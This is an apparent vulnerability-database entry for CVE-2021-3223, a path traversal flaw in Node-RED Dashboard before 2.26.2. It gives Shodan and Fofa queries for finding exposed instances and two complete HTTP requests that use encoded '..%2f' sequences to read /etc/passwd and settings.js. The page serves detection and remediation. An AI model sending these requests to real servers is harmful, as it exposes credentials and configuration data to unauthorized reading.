🔙 목록으로 돌아가기

CVE-2021-3223: Node RED Dashboard <2.26.2 - Local File Inclusion

TitleNode RED Dashboard <2.26.2 - Local File Inclusion
Authorgy741,pikpikcu
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
RemediationUpgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.91547
CVE IDCVE-2021-3223
CWE IDCWE-22
Shodan Querytitle:"Node-RED"http.title:"node-red"
Fofa Querytitle="Node-RED"title="node-red"
Tags cve cve2021 node-red-dashboard lfi nodered node.js vkev vuln

🔍 Vulnerability Description

NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.

🌐 HTTP Request

GET /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ui_base/js/..%2f..%2f..%2f..%2fsettings.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3223.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-3223.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A